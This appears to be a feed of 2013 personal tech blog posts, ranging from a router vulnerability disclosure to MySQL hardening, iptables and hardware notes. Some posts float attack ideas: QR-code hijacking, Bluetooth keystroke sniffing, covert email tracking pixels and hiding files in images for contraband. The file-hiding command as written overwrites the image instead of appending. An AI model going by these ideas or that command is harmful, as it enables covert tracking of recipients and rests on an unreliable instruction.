<li>Setting admin password for web interface - May not work as password may be set only for web page exposed on port 80 of LAN interface. I have not come across any affected routers which have http basic auth enabled on port 2046 of WAN interface.</li>
<li>Using a different router not affected by this vulnerability. However, this option may not be feasible for many subscribers as mio TV, an IPTV service offered by Singtel will not work on a different router without prior configuration.</li>
</ol>
<p>This issue was brought to SingTel's attention on the 23 Oct 13. I
received a call in Jan, informing me that investigations by the network
team confirmed the existence of the vulnerability. A patch has since
been released and rolled out to all affected subscribers.</p>
</div>
Multiple inboxes with same email address2013-12-15T06:45:00+08:002013-12-15T06:45:00+08:00Benjamin Limtag:limbenjamin.com,2013-12-15:/articles/multiple-inboxes-with-same-email-address.html<p>Ever since google decided to nerf their google apps free account
privileges(I created my account earlier and was grandfathered 10 free
emails), I have been toying around with several other providers of email
service for custom domains. I discovered that I could actually have 2
accounts with exact same …</p><p>Ever since google decided to nerf their google apps free account
privileges(I created my account earlier and was grandfathered 10 free
emails), I have been toying around with several other providers of email
service for custom domains. I discovered that I could actually have 2
accounts with exact same email but with different SMTP providers. At
this point, I'm not sure if there is any practical use for this hack.</p>
<p>How to get 2 inboxes with same email address</p>
<p>1. Find a second email provider and register an account, Microsoft in
my case</p>
<p>2. Switch your MX records over to your second provider temporarily for
validation purpose</p>
<ol class="arabic simple" start="3">
<li>Start creating email accounts with your second provider</li>
<li>Switch your MX records back to your primary provider</li>
</ol>
<p>You might be able to get away with adding a low priority MX server for
your second provider but Microsoft required me to list only their
servers in my records so I had no choice but to remove my google
records. While step 2-4 are ongoing, you might lose some mails as emails
might be redirected to your second provider. After all is done, all
emails will be received by your primary provider but you can still send
out emails from your secondary provider.</p>
<p>Have fun!</p>
preloading pages2013-12-10T19:36:00+08:002013-12-10T19:36:00+08:00Benjamin Limtag:limbenjamin.com,2013-12-10:/articles/preloading-pages.html<p>For a long time, I have always wondered why my download managers always
pops up dialog boxes to download files when I visit certain pages in
chrome. I have always attributed it to false positives or buggy
software. I stumbled upon the answer just a few days ago.</p>
<p>Apparently, google …</p><p>For a long time, I have always wondered why my download managers always
pops up dialog boxes to download files when I visit certain pages in
chrome. I have always attributed it to false positives or buggy
software. I stumbled upon the answer just a few days ago.</p>
<p>Apparently, google decided it was nice to preload pages in advance. In
other words, when you visit certain pages, chrome predicts which link
you click and load the page even if you did not click on the link. The
behaviour is turned on by default. Why is this bad? Firstly, if you have
quota on your usage, you dont want to be downloading unnecessary files.
Some preloaded files include pdfs which can be quite large. More
importantly, downloading the file means storing it on your hard disk. If
the file contains questionable content, you would be hard pressed to
explain to authorities how the file got onto your hard disk.</p>
<p>To turn it off, click advanced settings on the settings panel and
uncheck "Predict network actions to improve page load performance"</p>
mysql optimization2013-12-04T06:29:00+08:002013-12-04T06:29:00+08:00Benjamin Limtag:limbenjamin.com,2013-12-04:/articles/mysql-optimization.html<p>Recently did quite a lot of mysql related administration. Found quite a
few ways to optimise that may make future administration easier.</p>
<p>1) If you are going to add/drop databases very frequently, you might
want to add innodb_file_per_table=1 into your my.cnf config file.
This will allow mysql …</p><p>Recently did quite a lot of mysql related administration. Found quite a
few ways to optimise that may make future administration easier.</p>
<p>1) If you are going to add/drop databases very frequently, you might
want to add innodb_file_per_table=1 into your my.cnf config file.
This will allow mysql to keep individual innoDB files for each database.
When you drop the database, the innoDB file is deleted. The default
behaviour is to store all data into a single innoDB file. Even when the
database is dropped, the innoDB file does not shrink. Over time, it can
balloon into an unmanageable size. I have seen 400+GB file shrink down to
30GB after optimization.</p>
<p>If you wish to apply this on an existing database, the easiest way I
found was to dump all your data, remove the mysql data directory,
reinstall mysql and import the sql dump.</p>
<p>2) If all applications which require database access reside on
localhost, you can add skip-networking to my.cnf. Doing so stops mysql
from listening on port 3306, thus reducing the vector of attack
available to hackers.</p>
<p>3) If you are using phpmyadmin, you might consider adding
$cfg['ForceSSL'] = true; to config.inc.php. This forces phpmyadmin to
use HTTPS. After all, we dont want to be transmitting passwords in plain
text over the wire. Note: Your webserver needs to have SSL configured.</p>
private TLDs2013-11-23T06:43:00+08:002013-11-23T06:43:00+08:00Benjamin Limtag:limbenjamin.com,2013-11-23:/articles/private-tlds.html<p>Well, this is pretty old news but here are my views on ICANN allowing
organisations to buy out an entire TLD. For those not in the loop,
basically, in addition to .com, .net, .org and others, ICANN will be
releasing lots of new TLDs so we could have stuff like …</p><p>Well, this is pretty old news but here are my views on ICANN allowing
organisations to buy out an entire TLD. For those not in the loop,
basically, in addition to .com, .net, .org and others, ICANN will be
releasing lots of new TLDs so we could have stuff like .blog, .cloud or
even .google. Well, that is probably beneficial to everyone as it opens
up a lot more possibilities to register short and readable domain names.
We would not need to start dropping vowels like flickr simply because
the alternatives are already registered.</p>
<p>However, what doesn't go down well is the fact that ICANN is allowing
co-operations to buy out entire domains. e.g. Changi airport is trying
to buy out .changiairport so no one can register a domain ending with
that TLDs. In my opinion, that is a stupid move as doing so would defeat
the purpose of releasing these new TLDs. Changi airport is likely to use
only a handful of these TLDs like web.changiairport and
intranet.changiairport and the rest of the .changiairport namespace is
going to be wasted. This is similar to back in the days when IANA
started giving out class A addresses so generously that we started
running out of IPv4 addresses. If this goes through, in 3 years time we
might be back at the same dilemma with all short and readable names
either taken or privatised. I don't see a IPv6 like solution to this
problem. It might be too late by then.</p>
<p>In reality, I see no need for changi airport to have its own TLD. It can
simply register for a domain in the .airport TLD. e.g. changi.airport
and all other airports can share the .airport TLD, e.g. KL.airport ,
bangkok.airport and so on.</p>
<p>Even more alarming is the fact that companies like google are trying to
buy out generic TLDs like .cloud and .blog. To be honest, I could care
less about .changiairport. But if I wanted to start a blog, I wont be
able to get a benjamin.blog if google privatised the address. Google can
claim that they will open it for public registration similar to what
they are doing for .blogspot.com but they will most likely restrict you
to their blogging platform. I wouldn't be able to run wordpress/joomla
on it, or to provide my own blogging service.</p>
<p>In short, privatising TLDs is a bad idea, I cant see any possible
benefit apart from "protecting their brand name" which is a legitimate
concern albeit a minor one considering the potential abuse.</p>
URL shortening services2013-11-16T20:11:00+08:002013-11-16T20:11:00+08:00Benjamin Limtag:limbenjamin.com,2013-11-16:/articles/url-shortening-services.html<p>I have never liked nor seen the point of using URL shortening services
such as bit.ly, is.gd . The only time I have used it is during lectures
or talks when links are shared by copying them directly off the
whiteboard or slides. Even then, there are probably better …</p><p>I have never liked nor seen the point of using URL shortening services
such as bit.ly, is.gd . The only time I have used it is during lectures
or talks when links are shared by copying them directly off the
whiteboard or slides. Even then, there are probably better ways to share
the links such through QR codes or even putting the links on a temporary
website or google document that is open for everyone to access.</p>
<p>Yes, twitter's 140 character limit might warrant the need for URL
shortening but twitter already has its own t.co shortener. These
standalone services only add additional errors or complications. For
example, certain scam or phishing sites might have gone under the radar
and by cloaking the URL, unsuspecting users might be compromised. On the
other end of the spectrum, false positives might be triggered and the
owner of a legitimate site might suffer huge reputation damage due to
the service flagging his site as a potentially dangerous one. This
problem seems to be quite widespread with numerous posts about it. In
addition, shortening an already shortened URL (unintentionally or
otherwise) is also likely to trigger such a warning.</p>
<p>Most browsers such as Firefox and Chrome do have inbuilt mechanisms to
flag out suspicious sites. Search Engines like google do also warn if a
site is suspected to contain malicious content. I believe there is no
need for yet another layer for checking, especially if it is not done
properly.</p>
windows file metadata2013-11-12T07:49:00+08:002013-11-12T07:49:00+08:00Benjamin Limtag:limbenjamin.com,2013-11-12:/articles/windows-file-metadata.html<p>Windows seems to keep a very poor record of file attributes such as date
created, date modified and date accessed. These attributes are important
especially for audit purposes. My profs are even using these dates (in
UNIX fortunately) as submission dates. Furthermore, I believe that these
dates are especially important …</p><p>Windows seems to keep a very poor record of file attributes such as date
created, date modified and date accessed. These attributes are important
especially for audit purposes. My profs are even using these dates (in
UNIX fortunately) as submission dates. Furthermore, I believe that these
dates are especially important in computer forensics, to prove that a
file exists before a certain date.</p>
<p>Below is a list of quirks.</p>
<p>* Date accessed is susceptible to a time lag of up to a few hours.</p>
<p>* Different behaviour on different FS (NTFS/FAT)</p>
<p>* Date created is set to current date when copying file. (So its
possible to modify a file before it has even been created)</p>
<p>* Date accessed might not be changed depending on file type even when a
file is opened.</p>
Layered security2013-11-06T18:01:00+08:002013-11-06T18:01:00+08:00Benjamin Limtag:limbenjamin.com,2013-11-06:/articles/layered-security.html<p>The unfortunate happened to me a few days back. While pushing a project
onto a github public repo, I had forgotten to replace my mysql password
with a dummy one. So, it was out there in the open for almost 1 entire
day before I noticed it.</p>
<p>Fortunately for me …</p><p>The unfortunate happened to me a few days back. While pushing a project
onto a github public repo, I had forgotten to replace my mysql password
with a dummy one. So, it was out there in the open for almost 1 entire
day before I noticed it.</p>
<p>Fortunately for me though, I had an additional layer of security
implemented. My phpmyadmin page was protected by HTTP basic auth so
attackers could not access it without a second password. Yes, I know
basic auth is relatively insecure but I reasoned that it would be
acceptable as a 2nd layer of security. Furthermore, I make sure that
connections are over SSL to reduce the risks of compromise.</p>
<p>Layered security has paid off this time round. Now to figure out how to
protect my SSH logins with a second layer for added security.</p>
Web = public2013-11-03T17:41:00+08:002013-11-03T17:41:00+08:00Benjamin Limtag:limbenjamin.com,2013-11-03:/articles/web-public.html<p>A very timely reminder that nothing on the web is private. Having just
stumbled upon the awstats page for comp.nus, I have just unlocked a
whole treasure trove of information. Among the most useful would be the
list of 20000+ URLs generating most traffic, would be very interesting
to …</p><p>A very timely reminder that nothing on the web is private. Having just
stumbled upon the awstats page for comp.nus, I have just unlocked a
whole treasure trove of information. Among the most useful would be the
list of 20000+ URLs generating most traffic, would be very interesting
to poke in there and see if there is anything nice. Also of interest
would be the 404 errors, interesting to see the various attacks carried
out against the server as well as stuff that used to be there but isn't
anymore. Anyway, the spoils of war include a site with islamic texts and
recipes, full source code for a functioning game as well as unknown text
files that are 100s of MBs large.</p>
<p>To think that I used to treat it as a personal storage in the past.
Storing my lecture notes and tutorials for easy access. Such stuff now
resides on a private cloud, away from prying eyes. It does serve as a
timely reminder that no matter how obscure you think it is, a link to it
probably exists somewhere and someday, someone might just come across
it.</p>
Continuity plan2013-10-29T06:06:00+08:002013-10-29T06:06:00+08:00Benjamin Limtag:limbenjamin.com,2013-10-29:/articles/continuity-plan.html<p>Having a good continuity plan is important in case of unexpected
incidents. Today, I brought my tablet in for servicing as the touch
screen got a little wonky. It started exhibiting "phantom touches" and
was bordering on unusable as it would cause foreground applications to
go out of focus, unintentional …</p><p>Having a good continuity plan is important in case of unexpected
incidents. Today, I brought my tablet in for servicing as the touch
screen got a little wonky. It started exhibiting "phantom touches" and
was bordering on unusable as it would cause foreground applications to
go out of focus, unintentional clicks on links and so on. After ruling
out driver issues, I concluded that it was likely a hardware issue.
Since Acer advertised on the spot repair service, I thought that I could
just bring it down, wait a couple of hours for the screen to be changed
and return a happy man. Unfortunately, it was not as simple and they
claimed to need 5-7 working days to get it fixed.</p>
<p>Oh well, time for continuity plan to kick into action. With all my
lecture notes and tutorials on dropbox and all my code safely stored in
a private repo on github. I could afford to leave my tablet there and
continue work on my old laptop. Just a quick sync with dropbox and
pulling the latest updates from my repo, I was able to carry on work as
per usual again.</p>
happy monthiversary2013-10-18T07:17:00+08:002013-10-18T07:17:00+08:00Benjamin Limtag:limbenjamin.com,2013-10-18:/articles/happy-monthiversary.html<p>After more than half a year of tweaking + trial and error, I think I
have finally pinpointed the cause of my server crashes. Nope, nothing to
do with kernel stability, nothing to do with crond or any other service.
Probable cause is hardware related, the pcb for the barrel connector …</p><p>After more than half a year of tweaking + trial and error, I think I
have finally pinpointed the cause of my server crashes. Nope, nothing to
do with kernel stability, nothing to do with crond or any other service.
Probable cause is hardware related, the pcb for the barrel connector
power input is either badly designed or soldered resulting in random
power disruptions. The fact that it tended to happen at 3-6am in the
morning seems to be pure coincidence. After switching to using micro usb
to power the board, I managed a record 31 days and running.</p>
<p>I never suspected power to be an issue since it could run for 1-2 weeks
fine, I also thought that powering through the barrel connector would be
a better choice as it was designed specifically for power instead of the
micro usb which is designed for both power as well as connecting as a
USB slave to a host device. On hindsight, most arm devices aka
cellphones are powered through micro usb and the board might have been
adapted from a cellphone pcb design with the barrel connector added on
as an afterthought. Next aim: 100 days. Hope it can soldier on.</p>
<p><img alt="image0" src="//limbenjamin.com/media/uptime.png" /></p>
EFI2013-10-15T06:02:00+08:002013-10-15T06:02:00+08:00Benjamin Limtag:limbenjamin.com,2013-10-15:/articles/efi.html<p>Just when I thought I have got everything sorted out nice, out comes a
surprise. Turns out the industry has been stealthily moving away from
BIOS towards EFI while I was happily using my old laptop.</p>
<p>Result : All my bootable USB drives are no longer supported. Hooray!
There goes all …</p><p>Just when I thought I have got everything sorted out nice, out comes a
surprise. Turns out the industry has been stealthily moving away from
BIOS towards EFI while I was happily using my old laptop.</p>
<p>Result : All my bootable USB drives are no longer supported. Hooray!
There goes all my bootable recovery cum virus remover installation, all
my linux distros (especially those live cds that run fully in RAM). It
turns out that since mine is a 64bit machine, 32bit distros wont work
very well, plus the ISOs need to support EFI. So far, it seems that only
arch, fedora and ubuntu have support while the rest seem a little
patchy. No tails or puppy.</p>
<p>I would probably have to manually switch to legacy bios to run these
distros and switch back to UEFI to run windows. A hassle especially
since I have to connect a USB keyboard just for switching since
bluetooth does work in BIOS. Or I might just have to stick with VMs.</p>
rainmeter2013-10-04T19:05:00+08:002013-10-04T19:05:00+08:00Benjamin Limtag:limbenjamin.com,2013-10-04:/articles/rainmeter.html<p>I would like to share a software which I have been using over the last
year or so. rainmeter is a desktop customization software. It is
somewhat similar to the gadgets we are familiar with in windows 7 but
rainmeter allows greater customization so you can theme all of them …</p><p>I would like to share a software which I have been using over the last
year or so. rainmeter is a desktop customization software. It is
somewhat similar to the gadgets we are familiar with in windows 7 but
rainmeter allows greater customization so you can theme all of them in a
similar style. There are skins which display system information, notes,
music player controls, date/weather as well as display feeds. Basic
customization can normally be done through GUI for the more popular
themes.</p>
<p>However, to fully customize the skins, you would need to delve into the
code. Unfortunately, rainmeter uses its own language which you might
have to pick up through the documentation on the site. I much would have
preferred it to use CSS which would lower the learning curve. Anyway,
its not too difficult and those familiar with CSS should be able to pick
it up relatively quickly. E.g. elements are enclosed by [ ] and
positioning system used is X,Y co-ordinates. Relative positioning is
done by specifying r after the co-ordinates, `X=10 Y=5r` for a
vertical list with left margin of 10px and 5px spacing between elements.</p>
<p>For the more adventurous, you can even use 3rd party plugins which are
DLLs to access more system functions such as ping or integrate with
programs such as itunes so you can control your music from the desktop.</p>
<p>My only gripe so far is the lack of documentation from the skin
developers themselves. We need to deduce which element corresponds to
what we see on screen largely through trial and error. For the more
popular themes, there are often many built in skins offering different
functionality. They may be grouped with each group importing different
external stylesheets and 1 main stylesheet for all skins. In short,
without proper documentation, it can be quite challenging to hunt down
the right variable to change, while not affecting other skins in the
process.</p>
<p>Enough talk, picture here. (oh btw, heartbeat pings my server so I know
if it is alive at a glance)</p>
<p><center><p><img alt="image0" src="//limbenjamin.com/media/rain.png" /></p>
</center></p>Default printer settings2013-09-23T23:46:00+08:002013-09-23T23:46:00+08:00Benjamin Limtag:limbenjamin.com,2013-09-23:/articles/default-printer-settings.html<p>I have never paid much attention to setting default printer, normally
setting it to the most commonly used printer for convenience sake.
However, a reason episode made me think twice on whether it is wise.</p>
<p>Recently, while using my hybrid laptop in school, a dialog popped up and
disappeared almost …</p><p>I have never paid much attention to setting default printer, normally
setting it to the most commonly used printer for convenience sake.
However, a reason episode made me think twice on whether it is wise.</p>
<p>Recently, while using my hybrid laptop in school, a dialog popped up and
disappeared almost immediately. I only managed to catch a glimpse of the
word print. Since my default printer was set to the one in school, I
pulled up the online print queue and discovered to my horror that I have
printed something. After some logical deduction, I found that that most
files have a shell extension so you can print directly from explorer.
Anyway, because right click on the touchscreen is a long press, I
accidentally printed out a batch file.</p>
<p>Fortunately, there was no confidential information within. I shudder to
think of the consequences of printing a batch file with passwords on the
communal printer in school. To mitigate, I have simply set the default
printer to print to pdf. Even though printing requires an extra step, it
is safer and helps save on my paper quota.</p>
Problems with FTP2013-09-15T03:35:00+08:002013-09-15T03:35:00+08:00Benjamin Limtag:limbenjamin.com,2013-09-15:/articles/problems-with-ftp.html<p>1) No copy feature. There is no way to duplicate the file the file on
the server for backup, testing or any other purposes. You have to
download the file and upload it to another location, which is quite a
hassle especially for large number of files. One would think …</p><p>1) No copy feature. There is no way to duplicate the file the file on
the server for backup, testing or any other purposes. You have to
download the file and upload it to another location, which is quite a
hassle especially for large number of files. One would think that this
is a common feature that should be present, unfortunately not so.</p>
<p>2) No zip/unzip support. For CMSes like wordpress with thousands of
small files, if your webhost only provides FTP, it can take almost an
hour to upload less than 100MB. It is exponentially faster if you have
access to a shell and upload the zipped version.</p>
<p>3) Downloading content via FTP and HTTP is roughly equal in terms of
speed. As HTTP is more common, it is less likely to run into problems
compared to FTP.</p>
<p>4) Largest Problem of all. Zero encryption. Passwords + Data transmitted
in plain text. And people including me use it to transfer config files
with db passwords and admin passwords for CMSes in them. (Note I am not
willingly using FTP, only because the webhost does NOT provide any other
options)</p>
Hiding compressed files in images2013-09-06T19:53:00+08:002013-09-06T19:53:00+08:00Benjamin Limtag:limbenjamin.com,2013-09-06:/articles/hiding-compressed-files-in-images.html<p>Have been doing this for quite some time, just wanted to share the
method. The following code should work on Linux/Mac.</p>
<p>Step 1. Zip/Rar/7z your secret file</p>
<p><tt class="docutils literal">zip hideme.zip s3cr3t</tt></p>
<p>Step 2. Append the zip file to a random image file</p>
<p><tt class="docutils literal">cat hideme.zip > randompic.jpg …</tt></p><p>Have been doing this for quite some time, just wanted to share the
method. The following code should work on Linux/Mac.</p>
<p>Step 1. Zip/Rar/7z your secret file</p>
<p><tt class="docutils literal">zip hideme.zip s3cr3t</tt></p>
<p>Step 2. Append the zip file to a random image file</p>
<p><tt class="docutils literal">cat hideme.zip > randompic.jpg</tt></p>
<div class="line-block">
<div class="line"><br /></div>
</div>
<p>Thats all. When you open the jpg, it should display the image normally.
However, if you attempt to unzip it, the archive will show up. This
method is detectable only if someone decides to scan the binary for file
headers. Even if you try to execute file randompic.jpg, it will display
file type as JPEG image data. In order to ensure it stays undetected,
the zip file should not be too large. A 150MB jpg file will definitely
raise suspicions.</p>
<p>This could be used in quite a number of scenarios. Contraband could be
traded via pictures posted on websites, forums etc. We could start using
Facebook/Flickr as file storage(not tested). Or just for plain simple
storage of keys and passwords as an additional layer of security.</p>
Hijacking QR codes2013-08-15T00:42:00+08:002013-08-15T00:42:00+08:00Benjamin Limtag:limbenjamin.com,2013-08-15:/articles/hijacking-qr-codes.html<p>Just finished printing my poster for a school project in which contained
a QR code for users to download an android app. It was my first time
printing out <a class="reference external" href="mailto:300dpi@A1">300dpi@A1</a> size and thankfully it turned out well (A reprint
would have cost $12). Anyway, that is beside the point …</p><p>Just finished printing my poster for a school project in which contained
a QR code for users to download an android app. It was my first time
printing out <a class="reference external" href="mailto:300dpi@A1">300dpi@A1</a> size and thankfully it turned out well (A reprint
would have cost $12). Anyway, that is beside the point.</p>
<p>More importantly, the QR code was printed at high resolution(300dpi)
which is similar to posters/adverts in public places. Assuming that I
printed it on "sticker paper", there is nothing stopping me from pasting
it over existing QR codes on adverts and posters. If the size is similar
and pasting was done well, it is almost indistinguishable.</p>
<p>What could I do with a QR code? Well, i could embed a link containing
malicious content. Of course, I would mask the domain name using bit.ly
or similar service. Most people these days don't think twice before
clicking on bit.ly or other URL shortening services especially on
twitter. It would be an interesting albeit illegal? experiment to see if
people do really scan QR codes these days.</p>
Interesting bluetooth experiment2013-08-12T06:34:00+08:002013-08-12T06:34:00+08:00Benjamin Limtag:limbenjamin.com,2013-08-12:/articles/interesting-bluetooth-experiment.html<p>Earlier on, I paired my bluetooth keyboard to both my android and
windows OS dual boot configuration. It is a hassle to keep re-pairing
the keyboard whenever I switch OSes. This was done by pairing it with
the android and extracting the link key, which is a 32bit binary code …</p><p>Earlier on, I paired my bluetooth keyboard to both my android and
windows OS dual boot configuration. It is a hassle to keep re-pairing
the keyboard whenever I switch OSes. This was done by pairing it with
the android and extracting the link key, which is a 32bit binary code
and then replacing the link key in windows with it. Of course, there are
some other steps such as escalating privileges in the registry to change
the key and reversing the binary since windows uses little-endian but I
wont bore you with the details.</p>
<p>Basically how pairing works is that a link key is generated and stored
on both keyboard and device when the first pairing happens. The key
bonds the keyboard and the device and a 2nd device is unable to connect
as it does not have the same link key. When re-pairing a keyboard with
the 2nd device, a new link key is generated and overwrites the old link
key on the keyboard. Therefore, it loses the pairing to the 1st device.</p>
<p>Anyway, this got me thinking that if I had done it on another computer,
one keyboard would be paired to both computers at the same time which
would result in some pretty interesting phenomena. The same thing can be
done with a mouse and it can be used to pull a prank. But the hacker in
me came up with something more malicious. What if one of the computers
was actually a board that sniffs the bluetooth pairings and logs all the
keystrokes. The keylogger would be undetectable since it is merely
sniffing the encrypted packets which it is supposedly unable to decrypt
without the link key. That said, the attack window is pretty slim as the
link key is transmitted only once when pairing occurs. Subsequent
re-connections are encrypted and cannot be deciphered without the link
key.</p>
<p>Next time I pair a bluetooth device, I will make sure to look 10m around
me for any suspicious devices.</p>
USB 3.02013-08-05T20:54:00+08:002013-08-05T20:54:00+08:00Benjamin Limtag:limbenjamin.com,2013-08-05:/articles/usb-30.html<p>I changed my workstation just recently from an old, heavy Lenovo with 2
hours of battery life to a new Acer W700 hybrid that is half the weight
and has roughly 7 hours of battery life.</p>
<p>Chief among the differences include only a grand total of 1 USB 3.0 …</p><p>I changed my workstation just recently from an old, heavy Lenovo with 2
hours of battery life to a new Acer W700 hybrid that is half the weight
and has roughly 7 hours of battery life.</p>
<p>Chief among the differences include only a grand total of 1 USB 3.0 port
on my W700 as well as 64GB SSD instead of my old 128GB SSD + 500GB HDD
combination. Anyway, I was long overdue for an upgrade to USB 3 so off I
went purchasing a new usb hub and HDD docking station. I went for an
unpowered USB 3 hub and a docking station capable of fitting both 2.5"
and 3.5" HDDs for more flexibility. I was reluctant to get a powered hub
as I already had so many powered devices. 1 for laptop, 1 for monitor, 1
for docking station.</p>
<p>Anyway, I only found one unpowered usb 3 hub. Many forums claim that
with the increased power consumption of USB 3, unpowered hubs were not
possible. But I wasn't going to attach multiple power hungry USB 3
devices. My docking station was self powered, and I would be attaching a
phone charger, wireless adapter and mouse so I figured that it should
work fine. I bit the bullet and took the plunge.</p>
<p>The items have just arrived and after hooking up, I am getting speeds of
up to 100MB/s read, which I believe is the bottleneck for the HDD.
Anyway, its 3-4x faster and I am definitely a satisfied customer. Due to
my small SSD, I am now storing all my backups, data and VMs on a
separate HDD which explains why I need the additional speed. Running VMs
over a USB 2 connection was really testing my patience.</p>
<p>Testing both direct connection as well as through the unpowered hub, the
speed difference was negligible. Granted it was not a stress test as the
other 3 ports were drawing minimal power and had minimal data IO, it
fits my use case and I'm glad that it worked out nice.</p>
<p>I know the advertised speeds are like 10x that of USB 2 but honestly,
considering the overhead and all the bottlenecks, 3x speed is rather
decent. Previously, I was using eSata, and got about 60MB/s,
unfortunately, my new computer does not have eSata port. Others are also
posting similar speeds so I guess that is about how much performance you
can get from USB 3</p>
Server cluster for $5002013-08-03T05:56:00+08:002013-08-03T05:56:00+08:00Benjamin Limtag:limbenjamin.com,2013-08-03:/articles/server-cluster-for-500.html<p>Already have one, seven more needed. Just joking. Looks real nice with
all the LEDs and stackable case.Cable management will be a nightmare
though. 8 ARM CPUs, 16 cores clocked at 1.4Ghz. Unfortunately, no
practical use for me. Unless someone wants to find the next largest
prime number …</p><p>Already have one, seven more needed. Just joking. Looks real nice with
all the LEDs and stackable case.Cable management will be a nightmare
though. 8 ARM CPUs, 16 cores clocked at 1.4Ghz. Unfortunately, no
practical use for me. Unless someone wants to find the next largest
prime number.</p>
<p><img alt="image0" src="http://limbenjamin.com/media/hadoop.jpg" /></p>
A little experiment2013-08-03T05:53:00+08:002013-08-03T05:53:00+08:00Benjamin Limtag:limbenjamin.com,2013-08-03:/articles/a-little-experiment.html<p>Thought about getting a nicer email signature earlier on, while adding
the qr code image to my signature, the most natural thing to do was just
to upload it to cubie and link it. Just realised that this could result
in some interesting phenomenon.</p>
<p>Basically, whenever someone opens the email …</p><p>Thought about getting a nicer email signature earlier on, while adding
the qr code image to my signature, the most natural thing to do was just
to upload it to cubie and link it. Just realised that this could result
in some interesting phenomenon.</p>
<p>Basically, whenever someone opens the email, it downloads the signature
from my server. The server logs would thus be able to serve as some sort
of read receipt to track the emails. Assuming I used a unique URL for
every email, I would be able to track what time someone opens my email,
what ISP/browser he is using etc. without him knowing. Of course, his
email client would have to allow images for it to work.</p>
<p>Will try it out for a couple of weeks and observe the results.</p>
cloudflare2013-07-20T21:41:00+08:002013-07-20T21:41:00+08:00Benjamin Limtag:limbenjamin.com,2013-07-20:/articles/cloudflare.html<p>Finally decided to try out cloudflare to see if my site would load
faster. I had already created an account ages ago but was hesitant due a
a few reasons.</p>
<p>1) Changing DNS will affect my MX records and during transition period,
my emails might be lost if settings are …</p><p>Finally decided to try out cloudflare to see if my site would load
faster. I had already created an account ages ago but was hesitant due a
a few reasons.</p>
<p>1) Changing DNS will affect my MX records and during transition period,
my emails might be lost if settings are wrong.</p>
<p>2) Complicated setup due to dynamic IP, have to create script to update
IP and have to create a direct route so I can SSH into server.</p>
<p>So anyway, I decided to try it out just now and the results were quite
disappointing. After allowing time for DNS to propagate and caching of
my site to occur, I discovered that loading was actually slower on
cloudflare. In addition, images even failed to load occasionally. I
tried loading from a US IP as well as a UK IP and it took on average
twice as long to load. I cleared my browser cache between tests to
ensure a fair comparison.I was using the free service so the bandwidth
might have been shared with many others.</p>
<p>Anyway I have disabled cloudflare and am now serving from my server.</p>
Allure of sysprep2013-07-07T22:07:00+08:002013-07-07T22:07:00+08:00Benjamin Limtag:limbenjamin.com,2013-07-07:/articles/allure-of-sysprep.html<p>For someone like me, who has over the years collected an entire treasure
trove of applications and utilities for all purposes, sysprep is a
godsend. I wont have to re-install and re-configure all my programs when
migrating to a new computer. However, having done so 4 times for my last …</p><p>For someone like me, who has over the years collected an entire treasure
trove of applications and utilities for all purposes, sysprep is a
godsend. I wont have to re-install and re-configure all my programs when
migrating to a new computer. However, having done so 4 times for my last
windows installation, the bloat that was being carried over began to
accumulate.</p>
<p>Basically what happened is that I have installed and uninstalled
hundreds of programs while trying them out, resulting in my winsxs
folder ballooning due to the sheer number of obsolete DLLs that are
stored. At a point, my winsxs folder alone was over 40GB. While it is
fine on HDD, space on SSDs is at a premium. Unfortunately, there is no
reliable way to cut that down, the only way is to reinstall the OS.</p>
<p>Anyway, I took the opportunity to start with a fresh windows 8
installation, which unfortunately did not last long. This morning, I
once again took to sysprep as I prepared to migrate over to a new hybrid
laptop. I ticked "generalise" thinking that it was to generalise the
hardware for installation on machine with different hardware. 5 seconds
later, I realised that it was to generalise all user preferences.
Anyway, not that big of a deal, at least my programs were retained.
After cloning the drive and rebooting, to my horror, many programs were
missing. Eclipse was gone, dropbox was gone. Perhaps it was god's way of
telling me not to sysprep anymore.</p>
<p>After all, my winsxs is now sitting at 12GB, and my new SSD is only 64GB.
It was probably wiser to do a reinstall for the long run. I should also
probably start testing programs in a VM instead of on my main machine.
Microsoft has to do something about winsxs, it shouldn't be that hard to
keep track of DLLs that are currently in use and remove them if the only
program using it is being uninstalled. The current implementation is
just ridiculous, it is just like a vacuum cleaner sucking up all DLLs
that it has seen.</p>
webview vs native2013-07-02T05:07:00+08:002013-07-02T05:07:00+08:00Benjamin Limtag:limbenjamin.com,2013-07-02:/articles/webview-vs-native.html<p>And so, this month I will be rather busy volunteering on developing an
app for the scouts. Some pointers I have picked up so far...</p>
<p>1) You need to pick somewhere to stop supporting. If you are supporting
all versions of Android since 1.5. There is gonna be a …</p><p>And so, this month I will be rather busy volunteering on developing an
app for the scouts. Some pointers I have picked up so far...</p>
<p>1) You need to pick somewhere to stop supporting. If you are supporting
all versions of Android since 1.5. There is gonna be a whole lot of
functionality that you cannot use. Given that Singaporeans are very
rich, I suppose everyone should be at Honeycomb 3.0 and above,
nonetheless, I will be supporting Gingerbread 2.3 and above, which is
roughly 98% of phones currently out there.</p>
<p>2) Webview < native. Since I am more familiar with web development, I
thought how much easier it would be to just wrap everything in a
webview. However, quite a few challenges have cropped up. Stuff like css
:hover don't work, screen sizes are suddenly very different, plus webview
is just more sluggish compared to native java. Its slightly better now
after tweaking all sorts of settings, enabling hardware accel for
certain versions, removing caching and some other stuff.</p>
<p>Nonetheless, even though the performance of webview is quite
disappointing, it is rather quick for me, I can churn out an app in a
couple of days, plus the fact that it provides excellent code re-use,
just throw it on a server somewhere for blackberry/windows phone users.
Hopefully with a little more tweaking I am able to improve the
performance of webview.</p>
iptables -F2013-06-24T04:13:00+08:002013-06-24T04:13:00+08:00Benjamin Limtag:limbenjamin.com,2013-06-24:/articles/iptables-f.html<p>This command should be removed or come with confirmation message before
execution. Today, I wanted to to turn my blacklist into a whitelist.
Reason being as I added new services, I don't always remember to add in
new rules, as a result, I was exposing quite a number of potentially …</p><p>This command should be removed or come with confirmation message before
execution. Today, I wanted to to turn my blacklist into a whitelist.
Reason being as I added new services, I don't always remember to add in
new rules, as a result, I was exposing quite a number of potentially
sensitive services.</p>
<p>Anyway, off i went setting the default behaviour to drop all packets and
then flush the tables before adding in a whitelist. It seemed perfectly
logical. The only thing I didnt factor is that I was connected over SSH,
and so I just locked myself out. A 30 minute job ended up taking almost
half a day to complete(of course there were other problems as well).</p>
<p>Since I had not rebooted my server since the previous major update, I
did not realize that initscripts was removed, and so many services did
not start at boot. Upon attaching a head to my server, it took me a
while to fix a DHCP problem that the previous update caused.I then
rebooted and killed iptables but surprisingly, the ports were still not
open. I did not realise it was because the services were not even
running. So I went on a mad goose chase loading all sorts of
configurations into iptables and even reinstalling iptables at one point
in time. I even thought that the netfilter module might have been
corrupted and loaded a fresh kernel.</p>
